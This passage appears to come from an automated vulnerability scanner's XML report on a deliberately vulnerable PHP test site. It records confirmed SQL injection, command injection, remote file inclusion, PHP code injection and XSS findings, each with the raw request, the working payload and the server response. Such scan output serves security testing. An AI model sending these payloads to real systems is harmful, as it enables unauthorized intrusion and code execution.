<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>156 </td>
<td>FAY </td>
<td>WOOD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>157 </td>
<td>GRETA </td>
<td>MALDEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>158 </td>
<td>VIVIEN </td>
<td>BASINGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>159 </td>
<td>LAURA </td>
<td>BRODY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>160 </td>
<td>CHRIS </td>
<td>DEPP </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>161 </td>
<td>HARVEY </td>
<td>HOPE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>162 </td>
<td>OPRAH </td>
<td>KILMER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>163 </td>
<td>CHRISTOPHER </td>
<td>WEST </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>164 </td>
<td>HUMPHREY </td>
<td>WILLIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>165 </td>
<td>AL </td>
<td>GARLAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>166 </td>
<td>NICK </td>
<td>DEGENERES </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>167 </td>
<td>LAURENCE </td>
<td>BULLOCK </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>168 </td>
<td>WILL </td>
<td>WILSON </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>169 </td>
<td>KENNETH </td>
<td>HOFFMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>170 </td>
<td>MENA </td>
<td>HOPPER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>171 </td>
<td>OLYMPIA </td>
<td>PFEIFFER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>172 </td>
<td>GROUCHO </td>
<td>WILLIAMS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>173 </td>
<td>ALAN </td>
<td>DREYFUSS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>174 </td>
<td>MICHAEL </td>
<td>BENING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>175 </td>
<td>WILLIAM </td>
<td>HACKMAN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>176 </td>
<td>JON </td>
<td>CHASE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>177 </td>
<td>GENE </td>
<td>MCKELLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>178 </td>
<td>LISA </td>
<td>MONROE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>179 </td>
<td>ED </td>
<td>GUINESS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>180 </td>
<td>JEFF </td>
<td>SILVERSTONE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>181 </td>
<td>MATTHEW </td>
<td>CARREY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>182 </td>
<td>DEBBIE </td>
<td>AKROYD </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>183 </td>
<td>RUSSELL </td>
<td>CLOSE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>184 </td>
<td>HUMPHREY </td>
<td>GARLAND </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>185 </td>
<td>MICHAEL </td>
<td>BOLGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>186 </td>
<td>JULIA </td>
<td>ZELLWEGER </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>187 </td>
<td>RENEE </td>
<td>BALL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>188 </td>
<td>ROCK </td>
<td>DUKAKIS </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>189 </td>
<td>CUBA </td>
<td>BIRCH </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>190 </td>
<td>AUDREY </td>
<td>BAILEY </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>191 </td>
<td>GREGORY </td>
<td>GOODING </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>192 </td>
<td>JOHN </td>
<td>SUVARI </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>193 </td>
<td>BURT </td>
<td>TEMPLE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>194 </td>
<td>MERYL </td>
<td>ALLEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>195 </td>
<td>JAYNE </td>
<td>SILVERSTONE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>196 </td>
<td>BELA </td>
<td>WALKEN </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>197 </td>
<td>REESE </td>
<td>WEST </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>198 </td>
<td>MARY </td>
<td>KEITEL </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>199 </td>
<td>JULIA </td>
<td>FAWCETT </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>200 </td>
<td>THORA </td>
<td>TEMPLE </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>411 </td>
<td>hasan </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>412 </td>
<td>-1 OR 1=1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>413 </td>
<td>-1 OR 1=1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>414 </td>
<td>NS1NO </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>415 </td>
<td>1 AND 'NS='ss </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>416 </td>
<td>' OR 'ns'='ns </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>417 </td>
<td>-1 OR 17-7=10 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>418 </td>
<td>1 OR X='ss </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="even">
<td>419 </td>
<td>' OR '1'='1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
<tr class="odd">
<td>420 </td>
<td>' OR '1'='1 </td>
<td>test </td>
<td>2012-03-13 12:14:54 </td>
<td>22 </td>
</tr>
</tbody></table>                    </p>

				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A1</OWASP>
						<WASC>19</WASC>
						<CWE>89</CWE>
						<CAPEC>66</CAPEC>
						<PCI>6.5.2</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/nslookup.php</url>
				<type>CommandInjection</type>
				<severity>Critical</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>POST</vulnerableparametertype>
					<vulnerableparameter>param</vulnerableparameter>
					<vulnerableparametervalue>&apos;&amp; SET /A 0xFFF9999-2 &amp;</vulnerableparametervalue>
				<rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/nslookup.php
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate
Content-Length: 37
Content-Type: application/x-www-form-urlencoded

param=%27%26+SET+%2fA+0xFFF9999-2+%26]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:28:37 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 3854
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				<h2 class="title"><a href="#">Products </a></h2>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">
					<p>
                    <form action="/nslookup.php" method="POST">
                           <table class="databases">
            <tr>
                <td colspan="3">
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    <label>IP Adress:</label></td>
                <td class="style3">
                    <input type="text" size="40" name="param" id="param" class="input"/>
                </td>
                <td class="style1">
                    <input type="submit" value="GO" class="button" id="submit"
                        onclick="return submit_onclick()" dir="ltr" />
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    &nbsp;</td>
                <td class="style1" colspan="2">
                    &nbsp;</td>
            </tr>
            <tr>
                <td class="label" style="width: 89px"></td>
                <td class="style1" colspan="2">
                </td>
            </tr>
        </table>
                    </form>
  <pre>Server:  ip-172-16-0-23.ec2.internal
Address:  172.16.0.23

268409239</pre>					</p>
				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	    
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A1</OWASP>
						<WASC>31</WASC>
						<CWE>78</CWE>
						<CAPEC>88</CAPEC>
						<PCI>6.5.2</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/nslookup.php</url>
				<type>BlindCommandInjection</type>
				<severity>Critical</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>POST</vulnerableparametertype>
					<vulnerableparameter>param</vulnerableparameter>
					<vulnerableparametervalue>&apos;&amp; ping -n 25 127.0.0.1 &amp;</vulnerableparametervalue>
				<rawrequest><![CDATA[POST /nslookup.php HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/nslookup.php
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate
Content-Length: 37
Content-Type: application/x-www-form-urlencoded

param=%27%26+ping+-n+25+127.0.0.1+%26]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:28:41 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 5273
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><script type=text/javascript src = "" ></script>
<body>
<div id="wrapper">

	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
				<h2 class="title"><a href="#">Products </a></h2>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">
					<p>
                    <form action="/nslookup.php" method="POST">
                           <table class="databases">
            <tr>
                <td colspan="3">
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    <label>IP Adress:</label></td>
                <td class="style3">
                    <input type="text" size="40" name="param" id="param" class="input"/>
                </td>
                <td class="style1">
                    <input type="submit" value="GO" class="button" id="submit"
                        onclick="return submit_onclick()" dir="ltr" />
                </td>
            </tr>
            <tr>
                <td class="label" style="width: 89px">
                    &nbsp;</td>
                <td class="style1" colspan="2">
                    &nbsp;</td>
            </tr>
            <tr>
                <td class="label" style="width: 89px"></td>
                <td class="style1" colspan="2">
                </td>
            </tr>
        </table>
                    </form>
  <pre>Server:  ip-172-16-0-23.ec2.internal
Address:  172.16.0.23


Pinging 127.0.0.1 with 32 bytes of data:
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128
Reply from 127.0.0.1: bytes=32 time<1ms TTL=128

Ping statistics for 127.0.0.1:
    Packets: Sent = 25, Received = 25, Lost = 0 (0% loss),
Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
</pre>					</p>
				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	    
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A1</OWASP>
						<WASC>31</WASC>
						<CWE>78</CWE>
						<CAPEC>88</CAPEC>
						<PCI>6.5.2</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp</url>
				<type>Rfi</type>
				<severity>Critical</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>GET</vulnerableparametertype>
					<vulnerableparameter>file</vulnerableparameter>
					<vulnerableparametervalue>http://netsparker.com/n?&#xFF;.nsp</vulnerableparametervalue>
				<rawrequest><![CDATA[GET /process.php?file=http%3a%2f%2fnetsparker.com%2fn%3f%00.nsp HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:27:03 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 1615
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	    NETSPARKER_F0M1-44353702950-<%=chr(78) + chr(69) + chr(84) + chr(83) + chr(80) + chr(65) + chr(82) + chr(75) + chr(69) + chr(82) + chr(95) + chr(70) + chr(48) + chr(77) + chr(49) %>
<%=chr(45) & (44353702950+(Cint(Request("nsxint"))*4567)) & chr(45) %>
<script>netsparkerRFI(0x066666)</script>	<!-- process.php load pages from path of the website. -->
	<!-- FIXME: File / directory permissions -->
	<!-- end #page -->
</div>

<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A1</OWASP>
						<WASC>05</WASC>
						<CWE>98</CWE>
						<CAPEC>193</CAPEC>
						<PCI>6.5.3</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f</url>
				<type>RcePhp</type>
				<severity>Critical</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>GET</vulnerableparametertype>
					<vulnerableparameter>name</vulnerableparameter>
					<vulnerableparametervalue>+print(int)0xFFF9999-22;//</vulnerableparametervalue>
				<rawrequest><![CDATA[GET /hello.php?name=%2bprint(int)0xFFF9999-22%3b%2f%2f HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:26:47 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
X-Powered-By: PHP/5.2.6
Content-Length: 2762
Content-Type: text/html


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta name="keywords" content="" />
<meta name="description" content="" />
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<title>Netsparker Test Web Site -  PHP</title>
<link href="style.css" rel="stylesheet" type="text/css" media="screen" />
</head><body>
<div id="wrapper">
        
	<div id="menu">
		<ul>
			<li><a href="process.php?file=Generics/index.nsp">Home</a></li>
			<li><a href="hello.php?name=Visitor">Hello</a></li>
			<li><a href="products.php?pro=url">Products</a></li>
			<li><a href="process.php?file=Generics/about.nsp">About</a></li>
			<li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
			<li><a href="auth/">Login</a></li>
		</ul>
	</div>
	<!-- end #menu -->
	<div id="header">

	</div>
	<!-- end #header -->	<div id="page">
	<div id="page-bgtop">
	<div id="page-bgbtm">
		<div id="content">
			<div class="post">
								<h1 class="title"><a href="#">Hello Service </a></h1>
					<p>
                    Hello Visitor26840921921$str = 21 +print(int)0xFFF9999-22;//;21                    </p>

				<div style="clear: both;">&nbsp;</div>
				<div class="entry">


				</div>
			</div>
		<div style="clear: both;">&nbsp;</div>
		</div>
		<!-- end #content -->
	        
	<div id="sidebar">
			<ul>
				<li>
					<div id="search" >
						<form method="get" action="artist.php">
							<div>
								<input type="text" name="s" id="search-text" value="" />
								<input type="submit" id="search-submit" value="GO" />
							</div>
						</form>
				
					</div>
					<div style="clear: both;">&nbsp;</div>
				</li>
				<li>
					<h2>Tags</h2>
					<p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
				</li>
				<li>
					<h2>Inner Pages</h2>
					<ul>
						<li><a href="artist.php?id=test">Artist Search</a></li>
						<li><a href="nslookup.php">Lookup Service</a></li>
					</ul>
				</li>
				<li>
					<h2>Links</h2>
					<ul>
						<li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
						<li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
					</ul>
				</li>
			</ul>
		</div>		<!-- end #sidebar -->
		<div style="clear: both;">&nbsp;</div>
	</div>
	</div>
	</div>
	<!-- end #page -->
</div>
v
<div id="footer">
		<p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
	</div>	<!-- end #footer -->
</body>
</html>
]]></rawresponse>
				<extrainformation>
				</extrainformation>

					<classification>
						<OWASP>A1</OWASP>
						<WASC></WASC>
						<CWE>95</CWE>
						<CAPEC>23</CAPEC>
						<PCI>6.5.2</PCI>
						<PCI2>6.5.1</PCI2>
					</classification>
				
			</vulnerability>
			<vulnerability confirmed="True">
				<url>http://php.testsparker.com/products.php?pro=%27%22--%3e%3c%2fstyle%3e%3c%2fscRipt%3e%3cscRipt%3ealert(0x000097)%3c%2fscRipt%3e</url>
				<type>Xss</type>
				<severity>Important</severity>
				<certainty>100</certainty>
		
					<vulnerableparametertype>GET</vulnerableparametertype>
					<vulnerableparameter>pro</vulnerableparameter>
					<vulnerableparametervalue>&apos;&quot;--&gt;&lt;/style&gt;&lt;/scRipt&gt;&lt;scRipt&gt;netsparker(0x000097)&lt;/scRipt&gt;</vulnerableparametervalue>
				<rawrequest><![CDATA[GET /products.php?pro='%22--%3E%3C/style%3E%3C/scRipt%3E%3CscRipt%3Enetsparker(0x000097)%3C/scRipt%3E HTTP/1.1
Cache-Control: no-cache
Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
X-Scanner: Netsparker
Accept-Language: en-us,en;q=0.5
Host: php.testsparker.com
Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
Accept-Encoding: gzip, deflate

]]></rawrequest>
				<rawresponse><![CDATA[HTTP/1.1 200 OK
Date: Fri, 29 Nov 2013 11:26:49 GMT
Server: Apache/2.2.8 (Win32) PHP/5.2.6
